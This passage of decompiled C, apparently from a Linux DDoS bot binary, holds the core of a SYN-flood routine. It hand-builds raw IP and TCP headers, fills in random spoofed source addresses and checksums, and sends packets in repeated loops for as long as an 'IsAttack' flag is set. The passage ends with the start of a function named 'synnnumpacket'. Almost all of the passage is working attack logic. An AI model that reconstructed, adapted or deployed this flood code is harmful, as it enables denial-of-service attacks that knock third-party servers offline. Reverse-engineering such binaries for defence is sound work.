  3539.     _t1155 =  &_v1368;
  3540.      *__esp = _t1155;
  3541.     L0806F910();
  3542.     _v1424 = 6;
  3543.     L08073680(_t1973, __esp, 2, 3);
  3544.     _v784 = _t1155;
  3545.     _v1368 = 2;
  3546.     _v780 = _v936;
  3547.     if(_v780 <= 60 || _v68 > 800) {
  3548.         _v68 = 61;
  3549.     }
  3550.     _v64 = _v68 - 60;
  3551.     _t1160 =  &_v236 + 20;
  3552.     L08075250(_t1160);
  3553.     _v60 = _t1160;
  3554.     if(_v60 != 0) {
  3555.         _t1673 = L0806E4D0( &_v236 + 20, "0.0.0.0");
  3556.         if(_t1673 == 0) {
  3557.         } else {
  3558.             _v56 = 0;
  3559.             _v56 = _v220;
  3560.             if(_v56 <= 0 || _v56 > 86400) {
  3561.                 _v56 = 20;
  3562.             }
  3563.             _v652 =  *( *(_v60[0x10]));
  3564.             _v52 = 20;
  3565.             _v48 =  &_v512;
  3566.             _v44 =  &_v512 + 20;
  3567.             _v40 =  &_v512 + 40;
  3568.              *_v48 =  *_v48 & 255 & 240 | 5;
  3569.              *_v48 =  *_v48 & 255 & 15 | 64;
  3570.             (_v48[1]) = 0;
  3571.             (_v48[2]) = 60;
  3572.              *__esp = 31337;
  3573.             _t1692 = L08075240(__esp);
  3574.             (_v48[4]) = _t1692;
  3575.             (_v48[6]) = 0;
  3576.             (_v48[8]) = 250;
  3577.             (_v48[9]) = 6;
  3578.             (_v48[0xa]) = 0;
  3579.             (_v48[0x10]) = _v652;
  3580.              *__esp = _v88 & 65535;
  3581.             _t1701 = L08075240(__esp);
  3582.              *((short*)(_v44 + 2)) = _t1701;
  3583.              *__esp = 31337;
  3584.             _t1703 = L08075230(__esp);
  3585.              *((intOrPtr*)(_v44 + 4)) = _t1703;
  3586.              *__esp = 0;
  3587.             _t1705 = L08075230(__esp);
  3588.              *((intOrPtr*)(_v44 + 8)) = _t1705;
  3589.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
  3590.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
  3591.              *(_v44 + 13) = _v74 & 65535;
  3592.              *__esp = 57344;
  3593.             _t1714 = L08075240(__esp);
  3594.              *((short*)(_v44 + 14)) = _t1714;
  3595.              *(_v44 + 16) = 0;
  3596.              *(_v44 + 18) = 0;
  3597.             if((_v52 & 3) != 0) {
  3598.                 _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
  3599.             }
  3600.             _v52 = 40;
  3601.             _v660 = 1;
  3602.             _v36 =  &_v660;
  3603.             _v1416 = 4;
  3604.             _v1420 = _v36;
  3605.             _v1424 = 3;
  3606.             _v1428 = 0;
  3607.             _t1722 = _v72;
  3608.              *__esp = _t1722;
  3609.             L08073640(_t1973, __esp);
  3610.             if(_t1722 >= 0) {
  3611.             } else {
  3612.                 _v32 = 0;
  3613.                 while(1) {
  3614.                     _t1723 = IsAttack;
  3615.                     if(_t1723 == 0) {
  3616.                         break;
  3617.                     }
  3618.                     _v28 = 0;
  3619.                     while(_v28 <= 999) {
  3620.                         L0805EBE0();
  3621.                         _t2031 = _t1723;
  3622.                         _v696 = -2147450879;
  3623.                         _v684 = ((_v696 * _t2031 >> 32) + _t2031 >> 15) - (_t2031 >> 31);
  3624.                         _v684 = _t2031 - (_v684 << 16) - _v684;
  3625.                          *__esp = _v684;
  3626.                         _t1733 = L08075230(__esp);
  3627.                         _t1734 = _v44;
  3628.                          *((intOrPtr*)(_t1734 + 4)) = _t1733;
  3629.                         L0805EBE0();
  3630.                         _t2032 = _t1734;
  3631.                         _v696 = -2147450879;
  3632.                         _v680 = ((_v696 * _t2032 >> 32) + _t2032 >> 15) - (_t2032 >> 31);
  3633.                         _v680 = _t2032 - (_v680 << 16) - _v680;
  3634.                          *__esp = _v680 & 65535 & 65535;
  3635.                         _t1745 = L08075240(__esp);
  3636.                         _t1746 = _v44;
  3637.                          *((short*)(_t1746 + 14)) = _t1745;
  3638.                         L0805EBE0();
  3639.                         _t2033 = _t1746;
  3640.                         _v696 = -2147450879;
  3641.                         _t1973 = ((_v696 * _t2033 >> 32) + _t2033 >> 15) - (_t2033 >> 31);
  3642.                         _v676 = _t1973;
  3643.                         _v676 = _t2033 - (_v676 << 16) - _v676;
  3644.                          *_v44 = _v676 & 65535;
  3645.                         _t1757 = _v80 - _v84;
  3646.                         _v24 = _t1757;
  3647.                         if(_v24 <= 0) {
  3648.                             goto L44;
  3649.                         } else {
  3650.                             L0805EBE0();
  3651.                             _v20 = _t1757 % _v24 + _v84;
  3652.                             L0806F850(_t1973, _t2252, __esi,  &_v256, 0, 20);
  3653.                             _v1412 = _v20 & 255;
  3654.                             _v1416 = _v20 >> 8 & 255;
  3655.                             _v1420 = _v20 >> 16 & 255;
  3656.                             L0805FF50( &_v256, "%d.%d.%d.%d", _v20 >> 24);
  3657.                             _t1774 = L08073B40( &_v256);
  3658.                             (_v48[0xc]) = _t1774;
  3659.                             L0806F850(_v20 >> 16 & 255, _t2252, __esi,  &_v640, 0, 128);
  3660.                             L0806F9E0(_t2252, __esi,  &_v640,  &(_v48[0xc]), 4);
  3661.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[2]),  &(_v48[0x10]), 4);
  3662.                             _v632 = 0;
  3663.                             _v631 = (_v48[9]) & 255;
  3664.                             _v630 = _v52 >> 8;
  3665.                             _v629 = _v52;
  3666.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[6]), _v44, 20);
  3667.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[0x10]), _v40, 8);
  3668.                             _t1802 = csum( &_v640, _v52 + 12);
  3669.                              *(_v44 + 16) = _t1802;
  3670.                             __esi =  &_v656;
  3671.                             _t1805 = (_v48[2]) & 65535;
  3672.                             _t1973 = _t1805 & 65535;
  3673.                             L0805EBE0();
  3674.                             _v1412 = 16;
  3675.                             _v1416 = __esi;
  3676.                             _v1420 = 0;
  3677.                             _v1424 = _t1973 + _t1805 % _v64;
  3678.                             _t1723 = L08052C20(__esi, _v72,  &_v512);
  3679.                             _v28 = _v28 + 1;
  3680.                             continue;
  3681.                         }
  3682.                         goto L44;
  3683.                     }
  3684.                 }
  3685.             }
  3686.         }
  3687.     }
  3688. L44:
  3689.     L08052A50(_v72);
  3690.     _t1163 = L08051050();
  3691.     L08051000(_t1163);
  3692.      *__esp = 0;
  3693.     L08050FE0();
  3694.     goto L45;
  3695. L45:
  3696.     _push(_t2266);
  3697.     _t2267 = __esp;
  3698.     _push(_t1973);
  3699.     __esp = __esp - 692;
  3700.     L0806F910( &_v1648, 156);
  3701.     L0806F9E0(_t2252, __esi,  &_v1648, _v1428, 156);
  3702.     _v1490 = 16;
  3703.     _v2128 = 16;
  3704.     _t1170 =  &_v2068;
  3705.      *__esp = _t1170;
  3706.     L0806F910();
  3707.     _v2124 = 6;
  3708.     L08073680(_t1973, __esp, 2, 3);
  3709.     _v1488 = _t1170;
  3710.     _v2068 = 2;
  3711.     _t1172 =  &_v1648 + 16;
  3712.     L08075250(_t1172);
  3713.     _v1484 = _t1172;
  3714.     if(_v1484 != 0) {
  3715.         _t1527 = L0806E4D0( &((char*)( &_v224)[4]), "0.0.0.0");
  3716.         if(_t1527 == 0) {
  3717.         } else {
  3718.             _v56 = 0;
  3719.             _v56 = _v212;
  3720.             if(_v56 <= 0 || _v56 > 86400) {
  3721.                 _v56 = 20;
  3722.             }
  3723.             _v640 =  *( *(_v60[0x10]));
  3724.             _v52 = 20;
  3725.             _v48 =  &_v500;
  3726.             _v44 =  &_v500 + 20;
  3727.             _v40 =  &_v500 + 40;
  3728.              *_v48 =  *_v48 & 255 & 240 | 5;
  3729.              *_v48 =  *_v48 & 255 & 15 | 64;
  3730.             (_v48[1]) = 0;
  3731.             (_v48[2]) = 60;
  3732.              *__esp = 31337;
  3733.             _t1546 = L08075240(__esp);
  3734.             (_v48[4]) = _t1546;
  3735.             (_v48[6]) = 0;
  3736.             (_v48[8]) = 250;
  3737.             (_v48[9]) = 6;
  3738.             (_v48[0xa]) = 0;
  3739.             (_v48[0x10]) = _v640;
  3740.              *__esp = _v80 & 65535;
  3741.             _t1555 = L08075240(__esp);
  3742.              *((short*)(_v44 + 2)) = _t1555;
  3743.              *__esp = 31337;
  3744.             _t1557 = L08075230(__esp);
  3745.              *((intOrPtr*)(_v44 + 4)) = _t1557;
  3746.              *__esp = 0;
  3747.             _t1559 = L08075230(__esp);
  3748.              *((intOrPtr*)(_v44 + 8)) = _t1559;
  3749.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 240;
  3750.              *(_v44 + 12) =  *(_v44 + 12) & 255 & 15 | 160;
  3751.              *(_v44 + 13) = _v66 & 65535;
  3752.              *__esp = 57344;
  3753.             _t1568 = L08075240(__esp);
  3754.              *((short*)(_v44 + 14)) = _t1568;
  3755.              *(_v44 + 16) = 0;
  3756.              *(_v44 + 18) = 0;
  3757.             if((_v52 & 3) != 0) {
  3758.                 _v52 = (_v52 + (_v52 >> 31 >> 30) & 3) - (_v52 >> 31 >> 30) + 1 << 2;
  3759.             }
  3760.             _v52 = 40;
  3761.             _v648 = 1;
  3762.             _v36 =  &_v648;
  3763.             _v2116 = 4;
  3764.             _v2120 = _v36;
  3765.             _v2124 = 3;
  3766.             _v2128 = 0;
  3767.             _t1576 = _v64;
  3768.              *__esp = _t1576;
  3769.             L08073640(_t1973, __esp);
  3770.             if(_t1576 >= 0) {
  3771.             } else {
  3772.                 _v32 = 0;
  3773.                 while(1) {
  3774.                     _t1577 = IsAttack;
  3775.                     if(_t1577 == 0) {
  3776.                         break;
  3777.                     }
  3778.                     _v28 = 0;
  3779.                     while(_v28 <= 999) {
  3780.                         L0805EBE0();
  3781.                         _t2023 = _t1577;
  3782.                         _v676 = -2147450879;
  3783.                         _v668 = ((_v676 * _t2023 >> 32) + _t2023 >> 15) - (_t2023 >> 31);
  3784.                         _v668 = _t2023 - (_v668 << 16) - _v668;
  3785.                          *__esp = _v668;
  3786.                         _t1587 = L08075230(__esp);
  3787.                         _t1588 = _v44;
  3788.                          *((intOrPtr*)(_t1588 + 4)) = _t1587;
  3789.                         L0805EBE0();
  3790.                         _t2024 = _t1588;
  3791.                         _v676 = -2147450879;
  3792.                         _v664 = ((_v676 * _t2024 >> 32) + _t2024 >> 15) - (_t2024 >> 31);
  3793.                         _v664 = _t2024 - (_v664 << 16) - _v664;
  3794.                          *__esp = _v664 & 65535 & 65535;
  3795.                         _t1599 = L08075240(__esp);
  3796.                         _t1600 = _v44;
  3797.                          *((short*)(_t1600 + 14)) = _t1599;
  3798.                         L0805EBE0();
  3799.                         _t2025 = _t1600;
  3800.                         _v676 = -2147450879;
  3801.                         _t1973 = ((_v676 * _t2025 >> 32) + _t2025 >> 15) - (_t2025 >> 31);
  3802.                         _v660 = _t1973;
  3803.                         _v660 = _t2025 - (_v660 << 16) - _v660;
  3804.                          *_v44 = _v660 & 65535;
  3805.                         _t1611 = _v72 - _v76;
  3806.                         _v24 = _t1611;
  3807.                         if(_v24 <= 0) {
  3808.                             goto L65;
  3809.                         } else {
  3810.                             L0805EBE0();
  3811.                             _v20 = _t1611 % _v24 + _v76;
  3812.                             L0806F850(_t1973, _t2252, __esi,  &_v244, 0, 20);
  3813.                             _t1973 = _v20 >> 16 & 255;
  3814.                             _v2112 = _v20 & 255;
  3815.                             _v2116 = _v20 >> 8 & 255;
  3816.                             _v2120 = _t1973;
  3817.                             L0805FF50( &_v244, "%d.%d.%d.%d", _v20 >> 24);
  3818.                             _t1628 = L08073B40( &_v244);
  3819.                             (_v48[0xc]) = _t1628;
  3820.                             L0806F850(_t1973, _t2252, __esi,  &_v628, 0, 128);
  3821.                             L0806F9E0(_t2252, __esi,  &_v628,  &(_v48[0xc]), 4);
  3822.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[2]),  &(_v48[0x10]), 4);
  3823.                             _v620 = 0;
  3824.                             _v619 = (_v48[9]) & 255;
  3825.                             _v618 = _v52 >> 8;
  3826.                             _v617 = _v52;
  3827.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[6]), _v44, 20);
  3828.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v628)[0x10]), _v40, 8);
  3829.                             _t1656 = csum( &_v628, _v52 + 12);
  3830.                              *(_v44 + 16) = _t1656;
  3831.                             _v2112 = 16;
  3832.                             _v2116 =  &_v644;
  3833.                             _v2120 = 0;
  3834.                             _v2124 = (_v48[2]) & 65535 & 65535;
  3835.                             _t1577 = L08052C20(__esi, _v64,  &_v500);
  3836.                             _v28 = _v28 + 1;
  3837.                             continue;
  3838.                         }
  3839.                         goto L65;
  3840.                     }
  3841.                 }
  3842.             }
  3843.         }
  3844.     }
  3845. L65:
  3846.     L08052A50(_v64);
  3847.     _t1175 = L08051050();
  3848.     L08051000(_t1175);
  3849.      *__esp = 0;
  3850.     L08050FE0();
  3851.     goto L66;
  3852. L66:
  3853.     _push(_t2267);
  3854.     _t2268 = __esp;
  3855.     _push(_t2252);
  3856.     _push(__esi);
  3857.     _push(_t1973);
  3858.     __esp = __esp - 700;
  3859.     L0806F910( &_v2356, 156);
  3860.     L0806F9E0(_t2252, __esi,  &_v2356, _v2128, 156);
  3861.     _v2198 = 16;
  3862.     _v2844 = 16;
  3863.     _t1182 =  &_v2776;
  3864.      *__esp = _t1182;
  3865.     L0806F910();
  3866.     _v2840 = 6;
  3867.     L08073680(_t1973, __esp, 2, 3);
  3868.     _v2196 = _t1182;
  3869.     _v2776 = 2;
  3870.     _t1184 =  &_v2356 + 16;
  3871.     L08075250(_t1184);
  3872.     _v2192 = _t1184;
  3873.     if(_v2192 != 0) {
  3874.         _t1374 = L0806E4D0( &_v236 + 16, "0.0.0.0");
  3875.         if(_t1374 == 0) {
  3876.         } else {
  3877.             _v68 = 0;
  3878.             _v68 = _v224;
  3879.             if(_v68 <= 0 || _v68 > 86400) {
  3880.                 _v68 = 20;
  3881.             }
  3882.             _v652 =  *( *( *(_v72 + 16)));
  3883.             _v64 = 20;
  3884.             _v60 =  &_v512;
  3885.             _v56 =  &_v512 + 20;
  3886.             _v52 =  &_v512 + 40;
  3887.              *_v60 =  *_v60 & 255 & 240 | 5;
  3888.              *_v60 =  *_v60 & 255 & 15 | 64;
  3889.             (_v60[1]) = 0;
  3890.             (_v60[2]) = 60;
  3891.              *__esp = 31337;
  3892.             _t1393 = L08075240(__esp);
  3893.             (_v60[4]) = _t1393;
  3894.             (_v60[6]) = 0;
  3895.             (_v60[8]) = 250;
  3896.             (_v60[9]) = 6;
  3897.             (_v60[0xa]) = 0;
  3898.             (_v60[0x10]) = _v652;
  3899.              *__esp = _v92 & 65535;
  3900.             _t1402 = L08075240(__esp);
  3901.              *((short*)(_v56 + 2)) = _t1402;
  3902.              *__esp = 31337;
  3903.             _t1404 = L08075230(__esp);
  3904.              *((intOrPtr*)(_v56 + 4)) = _t1404;
  3905.              *__esp = 0;
  3906.             _t1406 = L08075230(__esp);
  3907.              *((intOrPtr*)(_v56 + 8)) = _t1406;
  3908.              *(_v56 + 12) =  *(_v56 + 12) & 255 & 240;
  3909.              *(_v56 + 12) =  *(_v56 + 12) & 255 & 15 | 160;
  3910.              *(_v56 + 13) = _v78 & 65535;
  3911.              *__esp = 57344;
  3912.             _t1415 = L08075240(__esp);
  3913.              *((short*)(_v56 + 14)) = _t1415;
  3914.              *((short*)(_v56 + 16)) = 0;
  3915.              *(_v56 + 18) = 0;
  3916.             if((_v64 & 3) != 0) {
  3917.                 _v64 = (_v64 + (_v64 >> 31 >> 30) & 3) - (_v64 >> 31 >> 30) + 1 << 2;
  3918.             }
  3919.             _v64 = 40;
  3920.             _v660 = 1;
  3921.             _v48 =  &_v660;
  3922.             _v2832 = 4;
  3923.             _v2836 = _v48;
  3924.             _v2840 = 3;
  3925.             _v2844 = 0;
  3926.             _t1423 = _v76;
  3927.              *__esp = _t1423;
  3928.             L08073640(_t1973, __esp);
  3929.             if(_t1423 >= 0) {
  3930.             } else {
  3931.                 _v44 = 0;
  3932.                 while(1) {
  3933.                     _t1424 = IsAttack;
  3934.                     if(_t1424 == 0) {
  3935.                         break;
  3936.                     }
  3937.                     _v40 = 0;
  3938.                     while(_v40 <= 999) {
  3939.                         L0805EBE0();
  3940.                         _t2013 = _t1424;
  3941.                         _v692 = -2147450879;
  3942.                         _v684 = ((_v692 * _t2013 >> 32) + _t2013 >> 15) - (_t2013 >> 31);
  3943.                         _v684 = _t2013 - (_v684 << 16) - _v684;
  3944.                          *__esp = _v684;
  3945.                         _t1434 = L08075230(__esp);
  3946.                         _t1435 = _v56;
  3947.                          *((intOrPtr*)(_t1435 + 4)) = _t1434;
  3948.                         L0805EBE0();
  3949.                         _t2014 = _t1435;
  3950.                         _v692 = -2147450879;
  3951.                         _v680 = ((_v692 * _t2014 >> 32) + _t2014 >> 15) - (_t2014 >> 31);
  3952.                         _v680 = _t2014 - (_v680 << 16) - _v680;
  3953.                          *__esp = _v680 & 65535 & 65535;
  3954.                         _t1446 = L08075240(__esp);
  3955.                         _t1447 = _v56;
  3956.                          *((short*)(_t1447 + 14)) = _t1446;
  3957.                         L0805EBE0();
  3958.                         _t2015 = _t1447;
  3959.                         _v692 = -2147450879;
  3960.                         _t1973 = ((_v692 * _t2015 >> 32) + _t2015 >> 15) - (_t2015 >> 31);
  3961.                         _v676 = _t1973;
  3962.                         _t2252 = _t2015 - (_v676 << 16) - _v676;
  3963.                         _v676 = _t2015 - (_v676 << 16) - _v676;
  3964.                          *_v56 = _v676 & 65535;
  3965.                         _t1458 = _v84 - _v88;
  3966.                         _v36 = _t1458;
  3967.                         if(_v36 <= 0) {
  3968.                             goto L86;
  3969.                         } else {
  3970.                             L0805EBE0();
  3971.                             _v32 = _t1458 % _v36 + _v88;
  3972.                             L0806F850(_t1973, _t2252, __esi,  &_v256, 0, 20);
  3973.                             _v2828 = _v32 & 255;
  3974.                             _v2832 = _v32 >> 8 & 255;
  3975.                             _v2836 = _v32 >> 16 & 255;
  3976.                             L0805FF50( &_v256, "%d.%d.%d.%d", _v32 >> 24);
  3977.                             _t1475 = L08073B40( &_v256);
  3978.                             (_v60[0xc]) = _t1475;
  3979.                             L0806F850(_v32 >> 16 & 255, _t2252, __esi,  &_v640, 0, 128);
  3980.                             L0806F9E0(_t2252, __esi,  &_v640,  &(_v60[0xc]), 4);
  3981.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[2]),  &(_v60[0x10]), 4);
  3982.                             _v632 = 0;
  3983.                             _v631 = (_v60[9]) & 255;
  3984.                             _v630 = _v64 >> 8;
  3985.                             _v629 = _v64;
  3986.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[6]), _v56, 20);
  3987.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v640)[0x10]), _v52, 8);
  3988.                             _t1503 = csum( &_v640, _v64 + 12);
  3989.                              *((short*)(_v56 + 16)) = _t1503;
  3990.                             _t1973 =  &_v656;
  3991.                             _t1506 = (_v60[2]) & 65535;
  3992.                             __esi = _t1506 & 65535;
  3993.                             L0805EBE0();
  3994.                             _t2019 = _t1506;
  3995.                             _v692 = -1600085855;
  3996.                             _t2126 = _v692 * _t2019 >> 32;
  3997.                             _t1511 = _t2019 >> 31;
  3998.                             _t2252 = (_t2126 + _t2019 >> 7) - _t1511;
  3999.                             _v672 = (_t2126 + _t2019 >> 7) - _t1511;
  4000.                             _v672 = _t2019 - _t1511 * _v672;
  4001.                             _v2828 = 16;
  4002.                             _v2832 = _t1973;
  4003.                             _v2836 = 0;
  4004.                             _v2840 = __esi + _v672 + 800;
  4005.                             _t1424 = L08052C20(__esi, _v76,  &_v512);
  4006.                             _v40 = _v40 + 1;
  4007.                             continue;
  4008.                         }
  4009.                         goto L86;
  4010.                     }
  4011.                 }
  4012.             }
  4013.         }
  4014.     }
  4015. L86:
  4016.     L08052A50(_v76);
  4017.     _t1187 = L08051050();
  4018.     L08051000(_t1187);
  4019.      *__esp = 0;
  4020.     L08050FE0();
  4021.     goto L87;
  4022. L87:
  4023.     _push(_t2268);
  4024.     _t2269 = __esp;
  4025.     _push(__esi);
  4026.     _push(_t1973);
  4027.     __esp = __esp - 704;
  4028.     L0806F910( &_v3080, 160);
  4029.     L0806F9E0(_t2252, __esi,  &_v3080, _v2844, 160);
  4030.     _v2918 = 16;
  4031.     _v3560 = 16;
  4032.     _t1194 =  &_v3500;
  4033.      *__esp = _t1194;
  4034.     L0806F910();
  4035.     _v3556 = 6;
  4036.     L08073680(_t1973, __esp, 2, 3);
  4037.     _v2916 = _t1194;
  4038.     _v3500 = 2;
  4039.     _v2912 = _v3068;
  4040.     if(_v2912 <= 60 || _v80 > 800) {
  4041.         _v80 = 61;
  4042.     }
  4043.     _v76 = _v80 - 60;
  4044.     _t1199 =  &_v248 + 20;
  4045.     L08075250(_t1199);
  4046.     _v72 = _t1199;
  4047.     if(_v72 != 0) {
  4048.         _t1225 = L0806E4D0( &_v248 + 20, "0.0.0.0");
  4049.         if(_t1225 == 0) {
  4050.         } else {
  4051.             _v68 = 0;
  4052.             _v68 = _v232;
  4053.             if(_v68 <= 0 || _v68 > 86400) {
  4054.                 _v68 = 20;
  4055.             }
  4056.             _v664 =  *( *( *(_v72 + 16)));
  4057.             _v64 = 20;
  4058.             _v60 =  &_v524;
  4059.             _v56 =  &_v524 + 20;
  4060.             _v52 =  &_v524 + 40;
  4061.              *_v60 =  *_v60 & 255 & 240 | 5;
  4062.              *_v60 =  *_v60 & 255 & 15 | 64;
  4063.             (_v60[1]) = 0;
  4064.             (_v60[2]) = 60;
  4065.              *__esp = 31337;
  4066.             _t1244 = L08075240(__esp);
  4067.             (_v60[4]) = _t1244;
  4068.             (_v60[6]) = 0;
  4069.             (_v60[8]) = 250;
  4070.             (_v60[9]) = 6;
  4071.             (_v60[0xa]) = 0;
  4072.             (_v60[0x10]) = _v664;
  4073.              *__esp = _v100 & 65535;
  4074.             _t1253 = L08075240(__esp);
  4075.              *((short*)(_v56 + 2)) = _t1253;
  4076.              *__esp = 31337;
  4077.             _t1255 = L08075230(__esp);
  4078.              *((intOrPtr*)(_v56 + 4)) = _t1255;
  4079.              *__esp = 0;
  4080.             _t1257 = L08075230(__esp);
  4081.              *((intOrPtr*)(_v56 + 8)) = _t1257;
  4082.              *(_v56 + 12) =  *(_v56 + 12) & 255 & 240;
  4083.              *(_v56 + 12) =  *(_v56 + 12) & 255 & 15 | 160;
  4084.              *(_v56 + 13) = _v86 & 65535;
  4085.              *__esp = 57344;
  4086.             _t1266 = L08075240(__esp);
  4087.              *((short*)(_v56 + 14)) = _t1266;
  4088.              *((short*)(_v56 + 16)) = 0;
  4089.              *(_v56 + 18) = 0;
  4090.             if((_v64 & 3) != 0) {
  4091.                 _v64 = (_v64 + (_v64 >> 31 >> 30) & 3) - (_v64 >> 31 >> 30) + 1 << 2;
  4092.             }
  4093.             _v64 = 40;
  4094.             _v672 = 1;
  4095.             _v48 =  &_v672;
  4096.             _v3548 = 4;
  4097.             _v3552 = _v48;
  4098.             _v3556 = 3;
  4099.             _v3560 = 0;
  4100.             _t1274 = _v84;
  4101.              *__esp = _t1274;
  4102.             L08073640(_t1973, __esp);
  4103.             if(_t1274 >= 0) {
  4104.             } else {
  4105.                 _v44 = 0;
  4106.                 while(1) {
  4107.                     _t1275 = IsAttack;
  4108.                     if(_t1275 == 0) {
  4109.                         break;
  4110.                     }
  4111.                     _v40 = 0;
  4112.                     while(_v40 <= 999) {
  4113.                         L0805EBE0();
  4114.                         _t2005 = _t1275;
  4115.                         _v708 = -2147450879;
  4116.                         _v696 = ((_v708 * _t2005 >> 32) + _t2005 >> 15) - (_t2005 >> 31);
  4117.                         _v696 = _t2005 - (_v696 << 16) - _v696;
  4118.                          *__esp = _v696;
  4119.                         _t1285 = L08075230(__esp);
  4120.                         _t1286 = _v56;
  4121.                          *((intOrPtr*)(_t1286 + 4)) = _t1285;
  4122.                         L0805EBE0();
  4123.                         _t2006 = _t1286;
  4124.                         _v708 = -2147450879;
  4125.                         _v692 = ((_v708 * _t2006 >> 32) + _t2006 >> 15) - (_t2006 >> 31);
  4126.                         _v692 = _t2006 - (_v692 << 16) - _v692;
  4127.                          *__esp = _v692 & 65535 & 65535;
  4128.                         _t1297 = L08075240(__esp);
  4129.                         _t1298 = _v56;
  4130.                          *((short*)(_t1298 + 14)) = _t1297;
  4131.                         L0805EBE0();
  4132.                         _t2007 = _t1298;
  4133.                         _v708 = -2147450879;
  4134.                         _t2075 = _v708 * _t2007 >> 32;
  4135.                         _t1979 = (_t2075 + _t2007 >> 15) - (_t2007 >> 31);
  4136.                         _v688 = (_t2075 + _t2007 >> 15) - (_t2007 >> 31);
  4137.                         _v688 = _t2007 - (_v688 << 16) - _v688;
  4138.                          *_v56 = _v688 & 65535;
  4139.                         _t1309 = _v92 - _v96;
  4140.                         _v36 = _t1309;
  4141.                         if(_v36 <= 0) {
  4142.                             goto L110;
  4143.                         } else {
  4144.                             L0805EBE0();
  4145.                             _v32 = _t1309 % _v36 + _v96;
  4146.                             L0806F850(_t1979, _t2252, __esi,  &_v268, 0, 20);
  4147.                             _v3544 = _v32 & 255;
  4148.                             _v3548 = _v32 >> 8 & 255;
  4149.                             _v3552 = _v32 >> 16 & 255;
  4150.                             L0805FF50( &_v268, "%d.%d.%d.%d", _v32 >> 24);
  4151.                             _t1326 = L08073B40( &_v268);
  4152.                             (_v60[0xc]) = _t1326;
  4153.                             L0806F850(_v32 >> 16 & 255, _t2252, __esi,  &_v652, 0, 128);
  4154.                             L0806F9E0(_t2252, __esi,  &_v652,  &(_v60[0xc]), 4);
  4155.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v652)[2]),  &(_v60[0x10]), 4);
  4156.                             _v644 = 0;
  4157.                             _v643 = (_v60[9]) & 255;
  4158.                             _v642 = _v64 >> 8;
  4159.                             _v641 = _v64;
  4160.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v652)[6]), _v56, 20);
  4161.                             L0806F9E0(_t2252, __esi,  &((char*)( &_v652)[0x10]), _v52, 8);
  4162.                             _t1354 = csum( &_v652, _v64 + 12);
  4163.                              *(_v56 + 16) = _t1354;
  4164.                             __esi =  &_v668;
  4165.                             L0805EBE0();
  4166.                             _v3544 = 16;
  4167.                             _v3548 = __esi;
  4168.                             _v3552 = 0;
  4169.                             _v3556 = ((_v60[2]) & 65535 & 65535) + ((_v60[2]) & 65535) % _v76;
  4170.                             _t1275 = L08052C20(__esi, _v84,  &_v524);
  4171.                             _v40 = _v40 + 1;
  4172.                             continue;
  4173.                         }
  4174.                         goto L110;
  4175.                     }
  4176.                 }
  4177.             }
  4178.         }
  4179.     }
  4180. L110:
  4181.     L08052A50(_v84);
  4182.     _t1202 = L08051050();
  4183.     L08051000(_t1202);
  4184.      *__esp = 0;
  4185.     L08050FE0();
  4186.     goto L111;
  4187. L111:
  4188.     _push(_t2269);
  4189.     __esp = __esp - 16;
  4190.     _v3580 = _v3556;
  4191.     _v3576 = _v3560;
  4192.     _v3572 = 0;
  4193.     _v3582 = 0;
  4194.     while(_v36 > 1) {
  4195.         _v28 = _v28 + ( *_v32 & 65535 & 65535);
  4196.         _v32 = _v32 + 2;
  4197.         _v36 = _v36 - 2;
  4198.     }
  4199. }
  4200.  
  4201. int synnnumpacket(_Unknown_base* ThreadData)
  4202. {// addr = 0x0804A8D1
  4203.     SYNPACKET_NUM SynObj;
  4204.     short int tcp_flags;
  4205.     char[19] szNewIP;
  4206.     char[255] szPackData;
  4207.     char[127] pheader;
  4208.     struct sockaddr_in servaddr;
  4209.     int hSockft;
  4210.     int topNum;
  4211.     int randNum;
  4212.     struct hostent* szhost;
  4213.     int nTime;
  4214.     int tcphdr_size;
  4215.     struct ip* iph;
  4216.     struct tcphdr* tcph;
  4217.     struct tcp_options* tcpopt;
  4218.     int one;
  4219.     const int* val;
  4220.     int looptime;
  4221.     int aa;
  4222.     int ShamBase;
  4223.     int dwNewIP;
  4224.     signed int _v16;
  4225.     signed int _v20;
  4226.     signed int _v24;
  4227.     signed int _v28;
  4228.     signed int _v32;
  4229.     _unknown_ _v34;
  4230.     signed int _v36;
  4231.     signed int _v40;
  4232.     char* _v44;
  4233.     unsigned int _v48;
  4234.     signed int _v52;
  4235.     signed char* _v56;
  4236.     unsigned int _v60;
  4237.     signed short _v62;
  4238.     unsigned int _v64;
  4239.     signed int _v68;
  4240.     signed short _v70;
  4241.     signed int _v72;
  4242.     signed short _v74;
  4243.     signed int _v76;
  4244.     signed int _v80;
  4245.     signed short _v82;
  4246.     signed int _v84;
  4247.     signed int _v88;
  4248.     intOrPtr _v92;
  4249.     signed int _v96;
  4250.     signed int _v208;
  4251.     signed int _v216;
  4252.     unsigned int _v220;
  4253.     unsigned int _v228;
  4254.     char _v232;
  4255.     char _v240;
  4256.     char _v244;
  4257.     char _v252;
  4258.     char _v264;
  4259.     char _v496;
  4260.     char _v508;
  4261.     char _v520;
  4262.     unsigned int _v613;
  4263.     unsigned short _v614;
  4264.     signed int _v615;
  4265.     signed int _v616;
  4266.     short unsigned int _v624;
  4267.     unsigned int _v625;
  4268.     unsigned short _v626;
  4269.     signed int _v627;
  4270.     signed int _v628;
  4271.     short unsigned int _v636;
  4272.     unsigned int _v637;
  4273.     unsigned short _v638;
  4274.     signed int _v639;
  4275.     signed int _v640;
  4276.     char _v644;
  4277.     short unsigned int _v648;
  4278.     char _v652;
  4279.     char _v656;
  4280.     signed int _v660;
  4281.     char _v664;
  4282.     char _v668;
  4283.     signed int _v672;
  4284.     signed int _v676;
  4285.     signed int _v680;
  4286.     signed short _v684;
  4287.     signed short _v688;
  4288.     signed int _v692;
  4289.     signed int _v696;
